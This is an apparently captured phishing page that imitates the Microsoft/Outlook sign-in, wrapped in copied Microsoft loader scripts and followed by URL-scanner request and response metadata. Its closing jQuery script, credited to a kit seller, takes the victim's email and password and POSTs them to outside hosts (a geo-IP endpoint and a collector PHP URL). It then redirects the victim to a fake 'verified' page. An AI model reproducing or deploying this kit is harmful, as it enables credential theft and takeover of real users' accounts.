h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
152.199.23.37 , United States, ASN15133 (EDGECAST, US),
Reverse DNS
Software
ECAcc (lhd/35B8) /
Resource Hash
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

x-ms-blob-type
BlockBlob
date
Wed, 10 Mar 2021 10:28:00 GMT
content-encoding
gzip
content-md5
WO4uW/y42E/4n+nHz177Gg==
age
2521086
x-cache
HIT
content-length
12395
x-ms-lease-status
unlocked
last-modified
Mon, 08 Feb 2021 18:58:52 GMT
server
ECAcc (lhd/35B8)
etag
0x8D8CC6393EED0A3
vary
Accept-Encoding
content-type
application/x-javascript
access-control-allow-origin
*
x-ms-request-id
279d5a62-201e-0038-1caa-fe38d3000000
access-control-expose-headers
x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
cache-control
public, max-age=31536000
x-ms-version
2009-09-19
accept-ranges
bytes
converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css
aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ Frame 83F5 		105 KB
19 KB 		Fetch
General
Check archive.org
Download Go to
Full URL
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial 